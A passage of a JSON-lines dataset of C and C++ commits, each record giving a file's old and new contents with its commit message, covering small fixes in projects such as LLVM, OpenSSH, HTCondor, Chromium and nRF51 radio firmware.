*numeral)\n{\n\tif (!numeral) return ERROR;\n\n\tint total = 0;\n\tfor (const RomanCluster *cluster = roman_cluster_largest();\n\t\t\tcluster;\n\t\t\tcluster = roman_cluster_next_smaller(cluster)\n\t    )\n\t{\n\t\twhile (starts_with(numeral, *cluster))\n\t\t{\n\t\t\ttotal += cluster->value;\n\t\t\tnumeral += cluster->length;\n\t\t}\n\t}\n\n\treturn *numeral ? ERROR : total;\n}\n\nstatic bool starts_with(const char *str, RomanCluster cluster)\n{\n\treturn strncmp(str, cluster.letters, cluster.length) == 0;\n}\n","subject":"Use cluster iterator in to_int function","message":"Use cluster iterator in to_int function\n","lang":"C","license":"mit","repos":"greghaskins\/roman-calculator.c"}
{"commit":"2c0f601424bb82be02e2334c54b2b6ccb0cae9bc","old_file":"Wangscape\/codecs\/OptionsCodec.h","new_file":"Wangscape\/codecs\/OptionsCodec.h","old_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include \"Options.h\"\n#include \"metaoutput\/codecs\/FilenamesCodec.h\"\n#include \"TerrainSpecCodec.h\"\n#include \"TileFormatCodec.h\"\n\nusing namespace spotify::json::codec;\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<Options>\n{\n    static object_t<Options> codec()\n    {\n        auto codec = object<Options>();\n        codec.required(\"OutputDirectory\", &Options::outputDirectory);\n        codec.required(\"Terrains\", &Options::terrains);\n        codec.required(\"TileFormat\", &Options::tileFormat);\n        codec.required(\"Cliques\", &Options::cliques);\n        codec.required(\"MetaOutput\", &Options::outputFilenames);\n        codec.required(\"CalculatorMode\", &Options::CalculatorMode,\n                       codec::enumeration<tilegen::alpha::CalculatorMode, std::string>({\n                           {tilegen::alpha::CalculatorMode::Max, \"Max\"},\n                           {tilegen::alpha::CalculatorMode::Linear, \"Linear\"}}));\n        \n        return codec;\n    }\n};\n\n}\n}\n","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include \"Options.h\"\n#include \"metaoutput\/codecs\/FilenamesCodec.h\"\n#include \"TerrainSpecCodec.h\"\n#include \"TileFormatCodec.h\"\n\nusing namespace spotify::json::codec;\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<Options>\n{\n    static object_t<Options> codec()\n    {\n        auto codec = object<Options>();\n        codec.required(\"OutputDirectory\", &Options::outputDirectory);\n        codec.required(\"Terrains\", &Options::terrains);\n        codec.required(\"TileFormat\", &Options::tileFormat);\n        codec.required(\"Cliques\", &Options::cliques);\n        codec.required(\"MetaOutput\", &Options::outputFilenames);\n        codec.required(\"AlphaCalculatorMode\", &Options::CalculatorMode,\n                       codec::enumeration<tilegen::alpha::CalculatorMode, std::string>({\n                           {tilegen::alpha::CalculatorMode::Max, \"Max\"},\n                           {tilegen::alpha::CalculatorMode::Linear, \"Linear\"}}));\n        \n        return codec;\n    }\n};\n\n}\n}\n","subject":"Revert to AlphaCalculatorMode in options codec","message":"Revert to AlphaCalculatorMode in options codec\n","lang":"C","license":"mit","repos":"Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape"}
{"commit":"6dee7b6820ee89ef41561a005645f0ecda59c2ea","old_file":"kernel\/port\/data.c","new_file":"kernel\/port\/data.c","old_contents":"#include <stddef.h>\n#include <kernel\/port\/data.h>\n\nvoid enq(Queue *q, List *item) {\n\titem->next = NULL;\n\tif(!q->tail) {\n\t\tq->head = item;\n\t\tq->tail = item;\n\t} else {\n\t\tq->tail->next = item;\n\t}\n}\n\nList *deq(Queue *q) {\n\tif(!q->head) {\n\t\treturn NULL;\n\t}\n\tList *ret = q->head;\n\tq->head = q->head->next;\n\tif(!q->head) {\n\t\tq->tail = NULL;\n\t}\n\tret->next = NULL;\n\treturn ret;\n}\n","new_contents":"#include <stddef.h>\n#include <kernel\/port\/data.h>\n\nvoid enq(Queue *q, List *item) {\n\titem->next = NULL;\n\tif(!q->tail) {\n\t\tq->head = item;\n\t\tq->tail = item;\n\t} else {\n\t\tq->tail->next = item;\n\t\tq->tail = item;\n\t}\n}\n\nList *deq(Queue *q) {\n\tif(!q->head) {\n\t\treturn NULL;\n\t}\n\tList *ret = q->head;\n\tq->head = q->head->next;\n\tif(!q->head) {\n\t\tq->tail = NULL;\n\t}\n\tret->next = NULL;\n\treturn ret;\n}\n","subject":"Fix a bug in the queue implementation","message":"Fix a bug in the queue implementation\n\nUnfortunately this was not the problem with the scheduler. For some\nreason we're never getting a second timer interrupt.\n","lang":"C","license":"isc","repos":"zenhack\/zero,zenhack\/zero,zenhack\/zero"}
{"commit":"b58c6841e09d91905747830d2d4471f55392765d","old_file":"libevmjit\/CompilerHelper.h","new_file":"libevmjit\/CompilerHelper.h","old_contents":"#pragma once\n\n#include \"preprocessor\/llvm_includes_start.h\"\n#include <llvm\/IR\/IRBuilder.h>\n#include \"preprocessor\/llvm_includes_end.h\"\n\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\nclass RuntimeManager;\n\n\/\/\/ Base class for compiler helpers like Memory, GasMeter, etc.\nclass CompilerHelper\n{\nprotected:\n\tCompilerHelper(llvm::IRBuilder<>& _builder);\n\n\tCompilerHelper(const CompilerHelper&) = delete;\n\tCompilerHelper& operator=(CompilerHelper) = delete;\n\n\t\/\/\/ Reference to the IR module being compiled\n\tllvm::Module* getModule();\n\n\t\/\/\/ Reference to the main module function\n\tllvm::Function* getMainFunction();\n\n\t\/\/\/ Reference to parent compiler IR builder\n\tllvm::IRBuilder<>& m_builder;\n\tllvm::IRBuilder<>& getBuilder() { return m_builder; }\n\n\tllvm::CallInst* createCall(llvm::Function* _func, std::initializer_list<llvm::Value*> const& _args);\n\n\tfriend class RuntimeHelper;\n};\n\n\/\/\/ Compiler helper that depends on runtime data\nclass RuntimeHelper : public CompilerHelper\n{\nprotected:\n\tRuntimeHelper(RuntimeManager& _runtimeManager);\n\n\tRuntimeManager& getRuntimeManager() { return m_runtimeManager; }\n\nprivate:\n\tRuntimeManager& m_runtimeManager;\n};\n\nusing InsertPointGuard = llvm::IRBuilderBase::InsertPointGuard;\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include \"preprocessor\/llvm_includes_start.h\"\n#include <llvm\/IR\/IRBuilder.h>\n#include \"preprocessor\/llvm_includes_end.h\"\n\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\nclass RuntimeManager;\n\n\/\/\/ Base class for compiler helpers like Memory, GasMeter, etc.\nclass CompilerHelper\n{\nprotected:\n\tCompilerHelper(llvm::IRBuilder<>& _builder);\n\n\tCompilerHelper(const CompilerHelper&) = delete;\n\tCompilerHelper& operator=(CompilerHelper) = delete;\n\n\t\/\/\/ Reference to the IR module being compiled\n\tllvm::Module* getModule();\n\n\t\/\/\/ Reference to the main module function\n\tllvm::Function* getMainFunction();\n\n\t\/\/\/ Reference to parent compiler IR builder\n\tllvm::IRBuilder<>& m_builder;\n\tllvm::IRBuilder<>& getBuilder() { return m_builder; }\n\n\tllvm::CallInst* createCall(llvm::Function* _func, std::initializer_list<llvm::Value*> const& _args);\n\n\tfriend class RuntimeHelper;\n};\n\n\/\/\/ Compiler helper that depends on runtime data\nclass RuntimeHelper : public CompilerHelper\n{\nprotected:\n\tRuntimeHelper(RuntimeManager& _runtimeManager);\n\n\tRuntimeManager& getRuntimeManager() { return m_runtimeManager; }\n\nprivate:\n\tRuntimeManager& m_runtimeManager;\n};\n\nstruct InsertPointGuard\n{\n\texplicit InsertPointGuard(llvm::IRBuilderBase& _builder): m_builder(_builder), m_insertPoint(_builder.saveIP()) {}\n\t~InsertPointGuard() { m_builder.restoreIP(m_insertPoint); }\n\nprivate:\n\tllvm::IRBuilderBase& m_builder;\n\tdecltype(m_builder.saveIP()) m_insertPoint;\n};\n\n}\n}\n}\n","subject":"Reimplement InsertPointGuard to avoid LLVM ABI incompatibility.","message":"Reimplement InsertPointGuard to avoid LLVM ABI incompatibility.\n\nIn general, the NDEBUG flag should match cpp-ethereum and LLVM builds. But this is hard to satisfy as we usually have one system-wide build of LLVM and different builds of cpp-ethereum. This ABI incompatibility hit OSX only in release builds as LLVM is built by homebrew with assertions by default.\n","lang":"C","license":"mit","repos":"ethereum\/evmjit,ethereum\/evmjit,ethereum\/evmjit"}
{"commit":"f4836c754a5b37064d49220e1be97d46a28b9d8b","old_file":"include\/llvm\/Intrinsics.h","new_file":"include\/llvm\/Intrinsics.h","old_contents":"\/\/===-- llvm\/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines a set of enums which allow processing of intrinsic\n\/\/ functions.  Values of these enum types are returned by\n\/\/ Function::getIntrinsicID.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_INTRINSICS_H\n#define LLVM_INTRINSICS_H\n\n\/\/\/ LLVMIntrinsic Namespace - This namespace contains an enum with a value for\n\/\/\/ every intrinsic\/builtin function known by LLVM.  These enum values are\n\/\/\/ returned by Function::getIntrinsicID().\n\/\/\/\nnamespace LLVMIntrinsic {\n  enum ID {\n    not_intrinsic = 0,   \/\/ Must be zero\n\n    va_start,            \/\/ Used to represent a va_start call in C\n    va_end,              \/\/ Used to represent a va_end call in C\n    va_copy,             \/\/ Used to represent a va_copy call in C\n\n    setjmp,              \/\/ Used to represent a setjmp call in C\n    longjmp,             \/\/ Used to represent a longjmp call in C\n  };\n}\n\n#endif\n","new_contents":"\/\/===-- llvm\/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines a set of enums which allow processing of intrinsic\n\/\/ functions.  Values of these enum types are returned by\n\/\/ Function::getIntrinsicID.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_INTRINSICS_H\n#define LLVM_INTRINSICS_H\n\n\/\/\/ LLVMIntrinsic Namespace - This namespace contains an enum with a value for\n\/\/\/ every intrinsic\/builtin function known by LLVM.  These enum values are\n\/\/\/ returned by Function::getIntrinsicID().\n\/\/\/\nnamespace LLVMIntrinsic {\n  enum ID {\n    not_intrinsic = 0,   \/\/ Must be zero\n\n    va_start,       \/\/ Used to represent a va_start call in C\n    va_end,         \/\/ Used to represent a va_end call in C\n    va_copy,        \/\/ Used to represent a va_copy call in C\n\n    setjmp,         \/\/ Used to represent a setjmp call in C\n    longjmp,        \/\/ Used to represent a longjmp call in C\n\n    \/\/===------------------------------------------------------------------===\/\/\n    \/\/ This section defines intrinsic functions used to represent Alpha\n    \/\/ instructions...\n    \/\/\n    alpha_ctlz,     \/\/ CTLZ (count leading zero): counts the number of leading\n                    \/\/ zeros in the given ulong value\n    alpha_cttz,     \/\/ CTTZ (count trailing zero): counts the number of trailing\n                    \/\/ zeros in the given ulong value \n    alpha_ctpop,    \/\/ CTPOP (count population): counts the number of ones in\n                    \/\/ the given ulong value \n    alpha_umulh,    \/\/ UMULH (unsigned multiply quadword high): Takes two 64-bit\n                    \/\/ (ulong) values, and returns the upper 64 bits of their\n                    \/\/ 128 bit product as a ulong\n  };\n}\n\n#endif\n","subject":"Add alpha intrinsics, contributed by Rahul Joshi","message":"Add alpha intrinsics, contributed by Rahul Joshi\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@7372 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm"}
{"commit":"68c4d8ab89f17d621f69786cbb751976afce72f4","old_file":"lib\/assert2.h","new_file":"lib\/assert2.h","old_contents":"\n#pragma once\n\n#include <cassert>\n#include <string>\n\n#define assert2(expr, str) \\\n  ((expr)                  \\\n   ? __ASSERT_VOID_CAST (0)\\\n   : __assert_fail ((std::string(__STRING(expr)) + \"; \" + (str)).c_str(), __FILE__, __LINE__, __ASSERT_FUNCTION))\n","new_contents":"\n#pragma once\n\n#include <cassert>\n#include <string>\n\n\n#if __GNUC__\n#define assert2(expr, str) \\\n  ((expr)                  \\\n   ? __ASSERT_VOID_CAST (0)\\\n   : __assert_fail ((std::string(__STRING(expr)) + \"; \" + (str)).c_str(), __FILE__, __LINE__, __ASSERT_FUNCTION))\n#elif __clang__\n#define assert2(expr, str) \\\n  ((expr)                  \\\n   ? (void)(0)\\\n   : __assert_rtn ((std::string(__STRING(expr)) + \"; \" + (str)).c_str(), __FILE__, __LINE__, __func__))\n#else\n#define assert2(expr, str) assert(expr)\n#endif\n","subject":"Work better on various versions of clang.","message":"Work better on various versions of clang.\n","lang":"C","license":"mit","repos":"tewalds\/morat,yotomyoto\/morat,tewalds\/morat,tewalds\/morat,yotomyoto\/morat,yotomyoto\/morat"}
{"commit":"359ce984aa895a88248856bb338f7c5484da1443","old_file":"crypto\/openssh\/version.h","new_file":"crypto\/openssh\/version.h","old_contents":"\/* $OpenBSD: version.h,v 1.37 2003\/04\/01 10:56:46 markus Exp $ *\/\n\/* $FreeBSD$ *\/\n\n#ifndef SSH_VERSION\n\n#define SSH_VERSION             (ssh_version_get())\n#define SSH_VERSION_BASE        \"OpenSSH_3.6.1p1\"\n#define SSH_VERSION_ADDENDUM    \"FreeBSD-20030423\"\n\nconst char *ssh_version_get(void);\nvoid ssh_version_set_addendum(const char *add);\n#endif \/* SSH_VERSION *\/\n\n","new_contents":"\/* $OpenBSD: version.h,v 1.37 2003\/04\/01 10:56:46 markus Exp $ *\/\n\/* $FreeBSD$ *\/\n\n#ifndef SSH_VERSION\n\n#define SSH_VERSION             (ssh_version_get())\n#define SSH_VERSION_BASE        \"OpenSSH_3.6.1p1\"\n#define SSH_VERSION_ADDENDUM    \"FreeBSD-20030916\"\n\nconst char *ssh_version_get(void);\nvoid ssh_version_set_addendum(const char *add);\n#endif \/* SSH_VERSION *\/\n\n","subject":"Update the OpenSSH addendum string for the buffer handling fix.","message":"Update the OpenSSH addendum string for the buffer handling fix.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"77a03785213b62287c316cf819430457078f713f","old_file":"src\/condor_ckpt\/fcntl.h","new_file":"src\/condor_ckpt\/fcntl.h","old_contents":"#if defined(AIX32) && defined(__cplusplus )\n#\tinclude \"fix_gnu_fcntl.h\"\n#elif defined(AIX32) && !defined(__cplusplus )\n\ttypedef unsigned short ushort;\n#\tinclude <fcntl.h>\n#elif defined(ULTRIX42) && defined(__cplusplus )\n#\tinclude \"fix_gnu_fcntl.h\"\n#else\n#\tinclude <fcntl.h>\n#endif\n","new_contents":"#if defined(__cplusplus) && !defined(OSF1)\t\/* GNU G++ *\/\n#\tinclude \"fix_gnu_fcntl.h\"\n#elif defined(AIX32)\t\t\t\t\t\t\/* AIX bsdcc *\/\n#\ttypedef unsigned short ushort;\n#\tinclude <fcntl.h>\n#else\t\t\t\t\t\t\t\t\t\t\/* Everybody else *\/\n#\tinclude <fcntl.h>\n#endif\n","subject":"Make things depend on the compiler (G++, bsdcc, others) rather than on specific platforms.","message":"Make things depend on the compiler (G++, bsdcc, others) rather than\non specific platforms.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,djw8605\/condor,htcondor\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco"}
{"commit":"3bbe9e5aab0bcd51b95b3f718cb790807931d82b","old_file":"chrome\/browser\/extensions\/extension_message_handler.h","new_file":"chrome\/browser\/extensions\/extension_message_handler.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass Profile;\nstruct ExtensionHostMsg_DomMessage_Params;\n\n\/\/ Filters and dispatches extension-related IPC messages that arrive from\n\/\/ renderer\/extension processes.  This object is created for renderers and also\n\/\/ ExtensionHost\/BackgroundContents.  Contrast this with ExtensionTabHelper,\n\/\/ which is only created for TabContents.\nclass ExtensionMessageHandler : public RenderViewHostObserver {\n public:\n  \/\/ |sender| is guaranteed to outlive this object.\n  explicit ExtensionMessageHandler(RenderViewHost* render_view_host);\n  virtual ~ExtensionMessageHandler();\n\n  \/\/ RenderViewHostObserver overrides.\n  virtual bool OnMessageReceived(const IPC::Message& message);\n\n private:\n  \/\/ Message handlers.\n  void OnPostMessage(int port_id, const std::string& message);\n  void OnRequest(const ExtensionHostMsg_DomMessage_Params& params);\n\n  DISALLOW_COPY_AND_ASSIGN(ExtensionMessageHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass Profile;\nstruct ExtensionHostMsg_DomMessage_Params;\n\n\/\/ Filters and dispatches extension-related IPC messages that arrive from\n\/\/ renderers. There is one of these objects for each RenderViewHost in Chrome.\n\/\/ Contrast this with ExtensionTabHelper, which is only created for TabContents.\nclass ExtensionMessageHandler : public RenderViewHostObserver {\n public:\n  \/\/ |sender| is guaranteed to outlive this object.\n  explicit ExtensionMessageHandler(RenderViewHost* render_view_host);\n  virtual ~ExtensionMessageHandler();\n\n  \/\/ RenderViewHostObserver overrides.\n  virtual bool OnMessageReceived(const IPC::Message& message);\n\n private:\n  \/\/ Message handlers.\n  void OnPostMessage(int port_id, const std::string& message);\n  void OnRequest(const ExtensionHostMsg_DomMessage_Params& params);\n\n  DISALLOW_COPY_AND_ASSIGN(ExtensionMessageHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MESSAGE_HANDLER_H_\n","subject":"Clarify class comment for ExtensionMessageHandler.","message":"Clarify class comment for ExtensionMessageHandler.\n\nTBR=jam@chromium.org\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@82674 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium"}
{"commit":"f978f33427f4f3d5273f5b13b776bfbab9e66f16","old_file":"ReactiveAlamofire\/ReactiveAlamofire.h","new_file":"ReactiveAlamofire\/ReactiveAlamofire.h","old_contents":"\/\/\n\/\/  ReactiveAlamofire.h\n\/\/  ReactiveAlamofire\n\/\/\n\/\/  Created by Srdan Rasic on 23\/04\/16.\n\/\/  Copyright © 2016 ReactiveKit. All rights reserved.\n\/\/\n\n\/\/! Project version number for ReactiveAlamofire.\nFOUNDATION_EXPORT double ReactiveAlamofireVersionNumber;\n\n\/\/! Project version string for ReactiveAlamofire.\nFOUNDATION_EXPORT const unsigned char ReactiveAlamofireVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <ReactiveAlamofire\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  ReactiveAlamofire.h\n\/\/  ReactiveAlamofire\n\/\/\n\/\/  Created by Srdan Rasic on 23\/04\/16.\n\/\/  Copyright © 2016 ReactiveKit. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for ReactiveAlamofire.\nFOUNDATION_EXPORT double ReactiveAlamofireVersionNumber;\n\n\/\/! Project version string for ReactiveAlamofire.\nFOUNDATION_EXPORT const unsigned char ReactiveAlamofireVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <ReactiveAlamofire\/PublicHeader.h>\n\n\n","subject":"Use Foundation framework instead of UIKit.","message":"Use Foundation framework instead of UIKit.\n","lang":"C","license":"mit","repos":"ReactiveKit\/ReactiveAlamofire,ReactiveKit\/ReactiveAlamofire"}
{"commit":"e2971406eb3b2ecdd211b9e7403fa02ae725b115","old_file":"misc\/miscfn.h","new_file":"misc\/miscfn.h","old_contents":"#ifndef H_MISCFN\n#define H_MISCFN\n\n#include \"config.h\"\n\n#if HAVE_FNMATCH_H\n#include <fnmatch.h>\n#else\n#include \"misc-fnmatch.h\"\n#endif\n\n#if HAVE_GLOB_H\n#include <glob.h>\n#else\n#include \"misc-glob.h\"\n#endif\n\n#if ! HAVE_S_IFSOCK\n#define S_IFSOCK (0)\n#endif\n\n#if ! HAVE_S_ISLNK\n#define S_ISLNK(mode) ((mode) & S_IFLNK)\n#endif\n\n#if ! HAVE_S_ISSOCK\n#define S_ISSOCK(mode) ((mode) & S_IFSOCK)\n#endif\n\n#if NEED_STRINGS_H\n#include <strings.h>\n#endif\n\n#if ! HAVE_REALPATH\nchar *realpath(const char *path, char resolved_path []);\n#endif\n\n#if NEED_TIMEZONE\n#include <sys\/stdtypes.h>\nextern time_t timezone;\n#endif\n\n#if NEED_MYREALLOC\n#include <sys\/stdtypes.h>\n#define realloc(ptr,size) myrealloc(ptr,size)\nextern void *myrealloc(void *, size_t);\n#endif\n\n#if HAVE_SYS_SOCKET_H\n#include <sys\/socket.h>\n#endif\n\n#endif\n","new_contents":"#ifndef H_MISCFN\n#define H_MISCFN\n\n#include \"config.h\"\n\n#if HAVE_FNMATCH_H\n#include <fnmatch.h>\n#else\n#include \"misc-fnmatch.h\"\n#endif\n\n#if HAVE_GLOB_H\n#include <glob.h>\n#else\n#include \"misc-glob.h\"\n#endif\n\n#if ! HAVE_S_IFSOCK\n#define S_IFSOCK (0)\n#endif\n\n#if ! HAVE_S_ISLNK\n#define S_ISLNK(mode) ((mode) & S_IFLNK)\n#endif\n\n#if ! HAVE_S_ISSOCK\n#define S_ISSOCK(mode) ((mode) & S_IFSOCK)\n#endif\n\n#if NEED_STRINGS_H\n#include <strings.h>\n#endif\n\n#if ! HAVE_REALPATH\nchar *realpath(const char *path, char resolved_path []);\n#endif\n\n#if NEED_TIMEZONE\n#include <sys\/stdtypes.h>\nextern time_t timezone;\n#endif\n\n#if NEED_MYREALLOC\n#include <sys\/stdtypes.h>\n#define realloc(ptr,size) myrealloc(ptr,size)\nextern void *myrealloc(void *, size_t);\n#endif\n\n#if HAVE_SYS_SOCKET_H\n#include <sys\/socket.h>\n#endif\n\n#if HAVE_LIMITS_H\n#include <limits.h>\n#endif\n\n#endif\n","subject":"Include <limits.h> if it's available.","message":"Include <limits.h> if it's available.\n","lang":"C","license":"lgpl-2.1","repos":"devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5"}
{"commit":"971068ecfa82cea5b21a3ccc962e95b7cdb5f38d","old_file":"app\/tx\/main.c","new_file":"app\/tx\/main.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"gpio.h\"\n#include \"leds.h\"\n#include \"radio.h\"\n\nvoid error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n{\n    while (1)\n    {\n        for (uint8_t i = LED_START; i < LED_STOP; i++)\n        {\n            led_toggle(i);\n            nrf_delay_us(50000);\n        }\n    }\n}\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n    uint32_t err_code;\n\n    leds_init();\n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        led_toggle(LED0);\n        nrf_delay_us(1000000);\n    }\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"gpio.h\"\n#include \"leds.h\"\n#include \"radio.h\"\n\nvoid error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n{\n    while (1)\n    {\n        for (uint8_t i = LED_START; i < LED_STOP; i++)\n        {\n            led_toggle(i);\n            nrf_delay_us(50000);\n        }\n    }\n}\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n    uint32_t err_code;\n\n    leds_init();\n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        led_toggle(LED0);\n        nrf_delay_us(1000000);\n    }\n}\n","subject":"Send only one packet at a time.","message":"Send only one packet at a time.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
